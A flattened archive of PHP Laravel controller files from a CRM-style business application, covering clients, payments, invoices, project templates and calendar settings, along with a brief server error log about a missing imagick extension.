$this->importJobProcess($request, ClientImport::class, ImportClientJob::class); return Reply::successWithData(__('messages.importProcessStart'), ['batch' => $batch]); } public function financeCount(Request $request) { $id = $request->id; $counts = User::withCount('projects', 'invoices', 'estimates')->withoutGlobalScope(ActiveScope::class)->find($id); $payments = Payment::leftJoin('invoices', 'invoices.id', '=', 'payments.invoice_id') ->leftJoin('projects', 'projects.id', '=', 'payments.project_id') ->leftJoin('orders', 'orders.id', '=', 'payments.order_id') ->where(function ($query) use ($id) { $query->where('projects.client_id', $id) ->orWhere('invoices.client_id', $id) ->orWhere('orders.client_id', $id); })->count(); $projectName = $counts->projects_count > 1 ? __('app.menu.projects') : __('app.project'); $invoiceName = $counts->invoices_count > 1 ? __('app.menu.invoices') : __('app.invoice'); $estimateName = $counts->estimates_count > 1 ? __('app.menu.estimates') : __('app.estimate'); $paymentName = $payments > 1 ? __('app.menu.payments') : __('app.payment'); $deleteClient = (__('messages.clientFinanceCount', ['projectCount' => $counts->projects_count, 'invoiceCount' => $counts->invoices_count, 'estimateCount' => $counts->estimates_count, 'paymentCount' => $payments, 'project' => $projectName, 'invoice' => $invoiceName, 'estimate' => $estimateName, 'payment' => $paymentName])); return Reply::dataOnly(['status' => 'success', 'deleteClient' => $deleteClient]); } public function clientDetails(Request $request) { $teamData = ''; if ($request->id == 0) { $clients = User::allClients(); foreach ($clients as $client) { $teamData .= ''; } } else { $project = Project::with('client')->findOrFail($request->id); if ($project->client != null) { $teamData .= ''; } } return Reply::dataOnly(['teamData' => $teamData]); } public function orders() { $dataTable = new OrdersDataTable(); $viewPermission = user()->permission('view_order'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'clients.ajax.orders'; return $dataTable->render('clients.show', $this->data); } } Http/Controllers/ProjectSettingController.php000064400000013155150325104510015513 0ustar00pageTitle = 'app.menu.projectSettings'; $this->activeSettingMenu = 'project_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_project_setting') == 'all' && in_array('projects', user_modules()))); return $next($request); }); } public function index() { $tab = request('tab'); switch ($tab) { case 'status': $this->projectStatusSetting = ProjectStatusSetting::all(); $this->view = 'project-settings.ajax.status'; break; case 'category': $this->projectCategory = ProjectCategory::all(); $this->view = 'project-settings.ajax.category'; break; default: $this->projectSetting = ProjectSetting::first(); $this->view = 'project-settings.ajax.sendReminder'; break; } $this->activeTab = $tab ?: 'sendReminder'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('project-settings.index', $this->data); } public function create() { return view('project-settings.create-project-status-settings-modal', $this->data); } public function store(StoreStatusSettingRequest $request) { $projectStatusSetting = new ProjectStatusSetting(); $projectStatusSetting->status_name = $request->name; $projectStatusSetting->color = $request->status_color; $projectStatusSetting->status = $request->status; $projectStatusSetting->default_status = ProjectStatusSetting::INACTIVE; $projectStatusSetting->save(); return Reply::success(__('messages.recordSaved')); } public function edit($id) { $this->projectStatusSetting = ProjectStatusSetting::findOrfail($id); return view('project-settings.edit', $this->data); } public function statusUpdate(StoreStatusSettingRequest $request, $id) { $projectStatusSetting = ProjectStatusSetting::findOrFail($id); $projectStatusSetting->status_name = $request->name; $projectStatusSetting->color = $request->status_color; $projectStatusSetting->status = $request->status; $projectStatusSetting->update(); return Reply::success(__('messages.updateSuccess')); } public function changeStatus($id) { $projectStatusSetting = ProjectStatusSetting::findOrFail($id); $projectStatusSetting->status = request()->status; $projectStatusSetting->update(); return Reply::success(__('messages.recordSaved')); } public function setDefault() { ProjectStatusSetting::where('id', request()->id)->update(['default_status' => ProjectStatusSetting::ACTIVE]); ProjectStatusSetting::where('id', '<>', request()->id)->update(['default_status' => ProjectStatusSetting::INACTIVE]); return Reply::success(__('messages.updateSuccess')); } public function update(UpdateProjectSetting $request, $id) { $projectSetting = ProjectSetting::findOrFail($id); $projectSetting->send_reminder = $request->send_reminder ? 'yes' : 'no'; $projectSetting->remind_time = $request->remind_time; $projectSetting->remind_type = $request->remind_type; $remindTo = []; if ($request->remind_to == 'all') { $remindTo = [ProjectSetting::REMIND_TO_MEMBERS, ProjectSetting::REMIND_TO_ADMINS]; } if ($request->remind_to == 'members') { $remindTo = [ProjectSetting::REMIND_TO_MEMBERS]; } if ($request->remind_to == 'admins') { $remindTo = [ProjectSetting::REMIND_TO_ADMINS]; } $projectSetting->remind_to = $remindTo; $projectSetting->save(); return Reply::success(__('messages.updateSuccess')); } public function destroy($id) { $projectStatusSetting = ProjectStatusSetting::findOrFail($id); $default = ProjectStatusSetting::where('default_status', ProjectStatusSetting::ACTIVE)->first(); Project::where('status', $projectStatusSetting->status_name)->update(['status' => $default->status_name]); ProjectStatusSetting::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function createCategory() { $this->addPermission = user()->permission('manage_project_category'); abort_403(!in_array($this->addPermission, ['all', 'added'])); return view('project-settings.create-project-category-settings-modal', $this->data); } public function saveProjectCategory(StoreProjectCategory $request) { $this->addPermission = user()->permission('manage_project_category'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $category = new ProjectCategory(); $category->category_name = $request->category_name; $category->save(); return Reply::success(__('messages.recordSaved')); } } Http/Controllers/PaymentController.php000064400000057236150325104510014174 0ustar00pageTitle = 'app.menu.payments'; $this->middleware(function ($request, $next) { abort_403(!in_array('payments', $this->user->modules)); return $next($request); }); } public function index(PaymentsDataTable $dataTable) { $viewPermission = user()->permission('view_payments'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->projects = Project::allProjects(); if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); } } return $dataTable->render('payments.index', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-status': $this->changeStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_payments') != 'all'); $items = explode(',', $request->row_ids); foreach ($items as $id) { $payment = ($id != 'on') ? Payment::findOrFail($id) : ''; if ($payment && $payment != '') { $payment->delete(); } } } protected function changeStatus($request) { abort_403(user()->permission('edit_payments') != 'all'); Payment::whereIn('id', explode(',', $request->row_ids))->update(['status' => $request->status]); } public function create() { $this->addPermission = user()->permission('add_payments'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->pageTitle = __('modules.payments.addPayment'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); if (request()->has('default_client') && request('default_client') != '') { $this->defaultClient = request('default_client'); $this->projects = Project::with('currency')->where('client_id', request('default_client'))->get(); } else { $this->projects = Project::with('currency')->whereNotNull('client_id')->get(); } $this->currencyCode = company()->currency->currency_code; $this->exchangeRate = company()->currency->exchange_rate; if (request()->has('project')) { $this->projectId = request()->project; } $this->project = request()->has('project') ? Project::findOrFail(request()->project) : null; if ($this->project) { $this->currencyCode = $this->project->currency->currency_code; $this->exchangeRate = $this->project->currency->exchange_rate; } $bankAccountQuery = BankAccount::query(); if (request()->get('invoice_id')) { $this->invoice = Invoice::findOrFail(request()->get('invoice_id')); $this->paidAmount = $this->invoice->amountPaid(); $this->unpaidAmount = $this->invoice->amountDue(); $this->currencyCode = $this->invoice->currency->currency_code; $this->exchangeRate = $this->invoice->currency->exchange_rate; if ($this->invoice->project_id) { $this->project = Project::findOrFail($this->invoice->project_id); } $bankAccountQuery = $bankAccountQuery->where('status', 1)->where('currency_id', $this->invoice->currency_id); } elseif (request()->has('default_client') && request('default_client') != '') { $this->invoices = Invoice::with('payment', 'currency') ->where('client_id', request('default_client')) ->where('send_status', 1) ->where(function ($q) { $q->where('status', 'unpaid') ->orWhere('status', 'partial'); })->get(); } elseif (request()->has('project')) { $this->invoices = Invoice::with('payment') ->where('project_id', request('project')) ->where('send_status', 1) ->where(function ($q) { $q->where('status', 'unpaid') ->orWhere('status', 'partial'); })->get(); } else { $this->invoices = Invoice::with('payment')->where(function ($q) { $q->where('status', 'unpaid') ->orWhere('status', 'partial'); }) ->where('send_status', 1) ->get(); $bankAccountQuery = $bankAccountQuery->where('status', 1)->where('currency_id', company()->currency_id); } if ($this->viewBankAccountPermission == 'added') { $bankAccountQuery = $bankAccountQuery->where('added_by', user()->id); /* @phpstan-ignore-line */ } $bankAccounts = $bankAccountQuery->get(); $this->bankDetails = $bankAccounts; $this->currencies = Currency::all(); $this->offlineMethod = OfflinePaymentMethod::all(); $this->paymentGateway = PaymentGatewayCredentials::first(); $this->linkPaymentPermission = user()->permission('link_payment_bank_account'); $this->companyCurrency = Currency::where('id', company()->currency_id)->first(); $this->view = 'payments.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('payments.create', $this->data); } public function store(StorePayment $request) { $payment = new Payment(); if (!is_null($request->currency_id)) { $payment->currency_id = $request->currency_id; } else { $payment->currency_id = $this->company->currency_id; } if ($request->project_id != '') { $project = Project::findOrFail($request->project_id); $payment->project_id = $request->project_id; $payment->currency_id = $project->currency_id; } if ($request->invoice_id != '') { $invoice = Invoice::findOrFail($request->invoice_id); $payment->project_id = $invoice->project_id; $payment->invoice_id = $invoice->id; $payment->currency_id = $invoice->currency->id; $tolerance = 0.01; if ($request->amount > $invoice->amountDue() + $tolerance) { return Reply::error(__('messages.invoicePaymentExceedError')); } } $payment->default_currency_id = company()->currency_id; $payment->exchange_rate = $request->exchange_rate; $payment->amount = round($request->amount, 2); $payment->gateway = $request->gateway; $payment->transaction_id = $request->transaction_id; $payment->offline_method_id = $request->offline_methods; $payment->paid_on = companyToYmd($request->paid_on); $payment->remarks = $request->remarks; if ($request->hasFile('bill')) { $payment->bill = Files::uploadLocalOrS3($request->bill, Payment::FILE_PATH); } $payment->status = 'complete'; $payment->bank_account_id = $request->bank_account_id; $payment->save(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('payments.index'); } if (user()) { self::createEmployeeActivity(user()->id, 'payment-created', $payment->id, 'payment'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } public function destroy($id) { $payment = Payment::with('invoice')->findOrFail($id); $this->deletePermission = user()->permission('delete_payments'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $payment->added_by == user()->id) || ($this->deletePermission == 'owned' && user()->id == $payment->invoice->client_id) || ($this->deletePermission == 'both' && (user()->id == $payment->invoice->client_id && user()->id == $payment->added_by)) )); if ($payment) { $payment->delete(); } return Reply::success(__('messages.deleteSuccess')); } public function edit($id) { $this->payment = Payment::with('invoice', 'offlineMethods')->findOrFail($id); $this->editPermission = user()->permission('edit_payments'); $this->methods = OfflinePaymentMethod::all(); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->payment->added_by == user()->id) || ($this->editPermission == 'owned' && $this->payment->invoice && $this->payment->invoice->client_id == user()->id) || ($this->editPermission == 'both' && (($this->payment->invoice && $this->payment->invoice->client_id == user()->id) || $this->payment->added_by == user()->id) || ($this->payment->gateway == null || $this->payment == 'Offline')) )); $this->pageTitle = __('modules.payments.updatePayment'); $this->projects = Project::with('currency')->whereNotNull('client_id')->get(); $this->currencies = Currency::all(); $this->paymentGateway = PaymentGatewayCredentials::first(); $this->companyCurrency = Currency::where('id', company()->currency_id)->first(); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $bankAccounts = BankAccount::where('status', 1)->where('currency_id', $this->payment->currency_id); if ($this->viewBankAccountPermission == 'added') { $bankAccounts = $bankAccounts->where('added_by', user()->id); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; $this->invoices = Invoice::where(function ($query) { if (in_array('client', user_roles())) { $query->where('invoices.client_id', user()->id); } else { $query->where('invoices.project_id', $this->payment->project_id) ->whereNotNull('invoices.project_id'); } })->pending()->get(); $this->linkPaymentPermission = user()->permission('link_payment_bank_account'); $this->view = 'payments.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('payments.create', $this->data); } public function update(UpdatePayments $request, $id) { $payment = Payment::findOrFail($id); if ($request->project_id != '' && $request->project_id != '0') { $payment->project_id = $request->project_id; } else { $payment->project_id = null; } $payment->currency_id = $request->currency_id; $payment->default_currency_id = company()->currency_id; $payment->exchange_rate = $request->exchange_rate; $payment->amount = round($request->amount, 2); $payment->gateway = $request->gateway; $payment->offline_method_id = $request->offline_methods; $payment->transaction_id = $request->transaction_id; if ($request->paid_on != '') { $payment->paid_on = companyToYmd($request->paid_on); } else { $payment->paid_on = null; } $payment->status = $request->status; $payment->remarks = $request->remarks; if ($request->bill_delete == 'yes') { Files::deleteFile($payment->bill, Payment::FILE_PATH); $payment->bill = null; } if ($request->hasFile('bill')) { $payment->bill = Files::uploadLocalOrS3($request->bill, Payment::FILE_PATH); } if ($request->invoice_id != '') { $invoice = Invoice::findOrFail($request->invoice_id); $payment->project_id = $invoice->project_id; $payment->invoice_id = $invoice->id; $payment->currency_id = $invoice->currency->id; } else { $payment->invoice_id = null; } $payment->bank_account_id = $request->bank_account_id; $payment->save(); // change invoice status if exists if ($payment->invoice) { if ($payment->invoice->amountDue() <= 0) { $payment->invoice->status = 'paid'; } else if ($payment->invoice->amountDue() >= $payment->invoice->total) { $payment->invoice->status = 'unpaid'; } else { $payment->invoice->status = 'partial'; } $payment->invoice->save(); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('payments.index')]); } public function show($id) { $this->payment = Payment::with(['invoice', 'project', 'currency', 'offlineMethods', 'transactions' => function ($q) { $q->orderByDesc('id')->limit(1); }, 'transactions.bankAccount'])->findOrFail($id); $this->viewPermission = user()->permission('view_payments'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->payment->added_by == user()->id) || ($this->viewPermission == 'owned' && !is_null($this->payment->project_id) && $this->payment->project->client_id == user()->id) || ($this->viewPermission == 'owned' && !is_null($this->payment->invoice_id) && $this->payment->invoice->client_id == user()->id) || ($this->viewPermission == 'owned' && !is_null($this->payment->order_id) && $this->payment->order->client_id == user()->id) || ($this->viewPermission == 'both' && ($this->payment->added_by == user()->id || (!is_null($this->payment->project_id) && $this->payment->project->client_id == user()->id) || (!is_null($this->payment->invoice_id) && $this->payment->invoice->client_id == user()->id) || (!is_null($this->payment->order_id) && $this->payment->order->client_id == user()->id))) )); $this->pageTitle = __('modules.payments.paymentDetails'); $this->view = 'payments.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('payments.create', $this->data); } public function download($id) { $this->invoiceSetting = invoice_setting(); $this->payment = Payment::with('invoice', 'project', 'currency')->findOrFail($id); $this->viewPermission = user()->permission('view_payments'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->payment->added_by == user()->id) || ($this->viewPermission == 'owned' && !is_null($this->payment->project_id) && $this->payment->project->client_id == user()->id) || ($this->viewPermission == 'owned' && !is_null($this->payment->invoice_id) && $this->payment->invoice->client_id == user()->id) || ($this->viewPermission == 'owned' && !is_null($this->payment->order_id) && $this->payment->order->client_id == user()->id) )); $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoiceSetting = invoice_setting(); $this->payment = Payment::with('invoice', 'project', 'currency')->findOrFail($id); $this->settings = company(); $this->invoiceSetting = invoice_setting(); $pdf = app('dompdf.wrapper'); $pdf->loadView('payments.ajax.pdf', $this->data); $filename = __('app.menu.payments') . ' ' . $this->payment->id; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function accountList(Request $request) { $options = ''; $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $bankAccounts = BankAccount::where('status', 1)->where('currency_id', $request->curId); if ($this->viewBankAccountPermission == 'added') { $bankAccounts = $bankAccounts->where('added_by', user()->id); } $bankAccounts = $bankAccounts->get(); foreach ($bankAccounts as $bankAccount) { $bankName = ''; if ($bankAccount->type == 'bank') { $bankName = $bankAccount->bank_name . ' |'; } $options .= ''; } if($request->paymentInvoiceId){ $exchangeRate = Invoice::where('id', $request->paymentInvoiceId)->pluck('exchange_rate')->toArray(); }else{ $exchangeRate = Currency::where('id', $request->curId)->pluck('exchange_rate')->toArray(); } return Reply::dataOnly(['status' => 'success', 'data' => $options, 'exchangeRate' => $exchangeRate]); } public function offlineMethods() { $offlineMethod = OfflinePaymentMethod::all(); return Reply::dataOnly(['status' => 'success', 'data' => $offlineMethod]); } public function addBulkPayments() { $this->addPermission = user()->permission('add_payments'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->pageTitle = __('modules.payments.addBulkPayment'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $clientId = in_array('client', user_roles()) ? $this->user->id : request()->client_id; $this->pendingPayments = Invoice::with(['bankAccount', 'currency', 'payment']) ->where(function ($q) { $q->where('status', 'unpaid'); $q->orWhere('status', 'partial'); }); if ($clientId != 'all' && $clientId != null) { $this->pendingPayments = $this->pendingPayments->where('client_id', $clientId)->get(); } else { $this->pendingPayments = $this->pendingPayments->get(); } $this->paymentGateway = PaymentGatewayCredentials::first(); $this->offlineMethods = OfflinePaymentMethod::where('status', 'yes')->get(); $this->linkPaymentPermission = user()->permission('link_payment_bank_account'); $this->companyCurrency = Currency::where('id', $this->company->currency_id)->first(); $bankAccounts = BankAccount::where('status', 1); if ($this->viewBankAccountPermission == 'added') { $bankAccounts = $bankAccounts->where('added_by', user()->id); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); } $this->paymentID = request()->payment_id; $this->offlineID = request()->offline_id; if (request()->ajax() && (($clientId == 'all' || $clientId != null) || ($this->paymentID == 'all' || $this->paymentID != null) || ($this->offlineID == 'all' || $this->offlineID != null))) { $table = view('payments.ajax.bulk-payments', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'table' => $table, 'payment' => $this->paymentID]); } $this->view = 'payments.ajax.add-bulk-payments'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('payments.create', $this->data); } public function saveBulkPayments(StoreBulkPayments $request) { $invoiceIds = $request->invoice_number; // Give error if no data was selected in any of the field $insertRecord = 0; $totalRecord = count($invoiceIds); foreach ($invoiceIds as $index => $invoiceId) { $gateway = $request->gateway[$index]; if ($gateway == 'all') { $insertRecord = $insertRecord + 1; } } if ($totalRecord === $insertRecord) { return Reply::error(__('messages.pleaseEnterSomeData')); } DB::beginTransaction(); foreach ($invoiceIds as $index => $invoiceId) { $amount = $request->amount[$index]; if ($amount > 0 && ($amount != 0 || $amount != '0')) { $invoice = Invoice::findOrFail($invoiceId); if ($amount > $invoice->amountDue()) { return Reply::error(__('messages.invoicePaymentExceedError')); } $paidAmount = $invoice->amountPaid(); $gateway = $request->gateway[$index]; $transaction_id = $request->transaction_id[$index]; $bank_account_id = $request->bank_account_id[$index]; $offline_method_id = $request->offline_method_id[$index]; $payment_date = $request->payment_date[$index] ? Carbon::createFromFormat($this->company->date_format, $request->payment_date[$index])->format('Y-m-d') : null; $payment = new Payment(); $payment->gateway = $gateway; $payment->status = 'complete'; $payment->paid_on = $payment_date; $payment->invoice_id = $invoice->id; $payment->amount = round($amount, 2); $payment->transaction_id = $transaction_id; $payment->project_id = $invoice->project_id; $payment->bank_account_id = $bank_account_id; $payment->exchange_rate = $invoice->exchange_rate; $payment->default_currency_id = company()->currency_id; $payment->offline_method_id = ($gateway == 'Offline') ? $offline_method_id : null; $payment->currency_id = $invoice->currency ? $invoice->currency->id : $this->company->currency_id; $payment->save(); if ((float)($paidAmount + $amount) >= (float)$invoice->total) { $invoice->status = 'paid'; $invoice->payment_status = '1'; } else { $invoice->status = 'partial'; } $invoice->save(); } } DB::commit(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('payments.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } } Http/Controllers/error_log000064400000001626150325104510011707 0ustar00[04-Jul-2025 12:48:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:30:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Controllers/GoogleCalendarSettingController.php000064400000005717150325104510016760 0ustar00pageTitle = __('app.menu.googleCalendarSetting'); $this->activeSettingMenu = 'google_calendar_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_google_calendar_setting') == 'all')); return $next($request); }); } public function index() { $this->globalSetting = global_setting(); $this->companyOrGlobalSetting = companyOrGlobalSetting(); $this->setting = company(); $this->module = GoogleCalendarModule::first(); return view('google-calendar-settings.index', $this->data); } public function store(StoreGoogleCalender $request) { // Save google calendar credentals $google_calendar_setting = global_setting(); $google_calendar_setting->google_calendar_status = $request->status ? 'active' : 'inactive'; $google_calendar_setting->google_client_id = $request->google_client_id; $google_calendar_setting->google_client_secret = $request->google_client_secret; $google_calendar_setting->save(); $googleCalendarSetting = company(); $googleCalendarSetting->google_calendar_status = $request->status ? 'active' : 'inactive'; $googleCalendarSetting->save(); // Save google calendar notification settings $module = GoogleCalendarModule::first(); $module->lead_status = isset($request->lead_status) ? $request->lead_status : 0; $module->leave_status = isset($request->leave_status) ? $request->leave_status : 0; $module->invoice_status = isset($request->invoice_status) ? $request->invoice_status : 0; $module->contract_status = isset($request->contract_status) ? $request->contract_status : 0; $module->task_status = isset($request->task_status) ? $request->task_status : 0; $module->event_status = isset($request->event_status) ? $request->event_status : 0; $module->holiday_status = isset($request->holiday_status) ? $request->holiday_status : 0; $module->save(); session()->forget('companyOrGlobalSetting'); session()->forget('user.company'); session()->forget('company'); cache()->forget('global_setting'); if ($request->cache) { Artisan::call('optimize'); Artisan::call('route:clear'); } else { Artisan::call('config:clear'); Artisan::call('route:clear'); Artisan::call('view:clear'); Artisan::call('cache:clear'); } return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/ProjectTemplateTaskController.php000064400000016235150325104510016476 0ustar00pageTitle = 'app.menu.projectTemplateTask'; $this->middleware(function ($request, $next) { abort_403(!in_array('projects', $this->user->modules)); return $next($request); }); } public function index() { return redirect()->route('project-template.index'); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create(Request $request) { $this->manageProjectTemplatePermission = user()->permission('manage_project_template'); abort_403(!in_array($this->manageProjectTemplatePermission, ['all', 'added'])); $this->pageTitle = __('app.menu.addProjectTemplate'); $this->template = ProjectTemplate::findOrFail($request->project_id); $this->categories = TaskCategory::all(); $this->labels = TaskLabelList::whereNull('project_id')->get(); $this->project = request('project_id') ? ProjectTemplate::with('projectMembers')->findOrFail(request('project_id')) : null; if (!is_null($this->project)) { $this->employees = $this->project->projectMembers; } else { $this->employees = User::allEmployees(null, true); } $this->view = 'project-templates.task.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('project-templates.task.create', $this->data); } /** * @param StoreTask $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreTask $request) { $task = new ProjectTemplateTask(); $task->heading = $request->heading; if ($request->description != '') { $task->description = trim_editor($request->description); } $task->project_template_id = $request->template_id; $task->project_template_task_category_id = $request->category_id; $task->priority = $request->priority; if ($request->has('task_labels')) { $task->task_labels = implode(',', $request->task_labels); } $task->save(); if ($request->user_id) { foreach ($request->user_id as $key => $value) { ProjectTemplateTaskUser::create([ 'user_id' => $value, 'project_template_task_id' => $task->id ]); } } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('project-template.show', $request->template_id . '?tab=tasks'), 'taskID' => $task->id]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->task = ProjectTemplateTask::with(['category'])->findOrFail($id); $manageProjectTemplatePermission = user()->permission('manage_project_template'); $viewProjectTemplatePermission = user()->permission('view_project_template'); abort_403(!in_array($manageProjectTemplatePermission, ['all', 'added', 'both']) && !in_array($viewProjectTemplatePermission, ['all'])); $this->pageTitle = __('app.task') . ' # ' . $this->task->id; $this->taskSettings = TaskSetting::first(); $this->taskLabelList = TaskLabelList::whereNull('project_id')->get(); $this->tab = 'project-templates.task.ajax.sub_tasks'; $this->view = 'project-templates.task.ajax.show'; if (request()->ajax()) { if (request('json')) { return $this->returnAjax($this->tab); } return $this->returnAjax($this->view); } return view('project-templates.task.create', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->task = ProjectTemplateTask::findOrFail($id); $this->manageProjectTemplatePermission = user()->permission('manage_project_template'); abort_403(!in_array($this->manageProjectTemplatePermission, ['all', 'added'])); $this->pageTitle = __('app.update') . ' ' . __('app.project'); $this->labels = TaskLabelList::whereNull('project_id')->get(); $this->categories = TaskCategory::all(); $this->template = ProjectTemplate::findOrFail($this->task->project_template_id); $this->selectedLabels = explode(',', $this->task->task_labels); $this->project = request('project_id') ? ProjectTemplate::with('projectMembers')->findOrFail(request('project_id')) : null; if (!is_null($this->project)) { $this->employees = $this->project->projectMembers; }else { $this->employees = User::allEmployees(null, true); } $this->view = 'project-templates.task.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('project-templates.task.create', $this->data); } /** * @param StoreTask $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(StoreTask $request, $id) { $task = ProjectTemplateTask::findOrFail($id); $task->heading = $request->heading; if ($request->description != '') { $task->description = trim_editor($request->description); } $task->project_template_task_category_id = $request->category_id; $task->priority = $request->priority; if ($request->has('task_labels')) { $task->task_labels = implode(',', $request->task_labels); } $task->save(); ProjectTemplateTaskUser::where('project_template_task_id', $task->id)->delete(); if ($request->user_id) { foreach ($request->user_id as $key => $value) { ProjectTemplateTaskUser::create( [ 'user_id' => $value, 'project_template_task_id' => $task->id ] ); } } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('project-template.show', $task->project_template_id . '?tab=tasks')]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { ProjectTemplateTask::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/InvoiceSettingController.php000064400000017356150325104510015510 0ustar00pageTitle = 'app.menu.financeSettings'; $this->activeSettingMenu = 'invoice_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_finance_setting') == 'all' && (in_array('invoices', user_modules()) || in_array('estimates', user_modules()) || in_array('orders', user_modules()) || in_array('leads', user_modules()) || in_array('payments', user_modules())))); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $tab = request('tab'); if (is_null($tab)) { if (in_array('invoices', user_modules())) { $tab = 'general'; } elseif (in_array('invoices', user_modules()) || in_array('estimates', user_modules()) || in_array('orders', user_modules()) || in_array('leads', user_modules())) { $tab = 'template'; } elseif (in_array('invoices', user_modules()) || in_array('payments', user_modules())) { $tab = 'quickbooks'; } } $this->unitTypes = UnitType::all(); switch ($tab) { case 'quickbooks': $this->quickbookSetting = QuickBooksSetting::first(); $this->view = 'invoice-settings.ajax.quickbooks'; break; case 'units': $this->view = 'invoice-settings.ajax.units'; break; case 'prefix': $this->view = 'invoice-settings.ajax.prefix'; break; case 'template': $this->view = 'invoice-settings.ajax.template'; break; case 'payment': $this->payments = InvoicePaymentDetail::get(); $this->view = 'invoice-settings.ajax.payment'; break; default: $this->view = 'invoice-settings.ajax.general'; break; } $this->invoiceSetting = InvoiceSetting::first(); $this->activeTab = $tab ?: 'general'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('invoice-settings.index', $this->data); } /** * @param UpdateInvoiceSetting $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException * @throws \Illuminate\Contracts\Filesystem\FileNotFoundException */ public function update(UpdateInvoiceSetting $request) { $setting = InvoiceSetting::first(); $setting->due_after = $request->due_after; $setting->invoice_terms = $request->invoice_terms; $setting->show_gst = $request->has('show_gst') ? 'yes' : 'no'; $setting->hsn_sac_code_show = $request->has('hsn_sac_code_show') ? 1 : 0; $setting->tax_calculation_msg = $request->has('show_tax_calculation_msg') ? 1 : 0; $setting->authorised_signatory = $request->has('show_authorised_signatory') ? 1 : 0; $setting->show_status = $request->has('show_status') ? 1 : 0; $setting->show_project = $request->has('show_project') ? 1 : 0; $setting->send_reminder = $request->send_reminder; $setting->reminder = $request->reminder; $setting->send_reminder_after = $request->send_reminder_after; $setting->locale = $request->locale; $setting->show_client_name = $request->has('show_client_name') ? 'yes' : 'no'; $setting->show_client_email = $request->has('show_client_email') ? 'yes' : 'no'; $setting->show_client_phone = $request->has('show_client_phone') ? 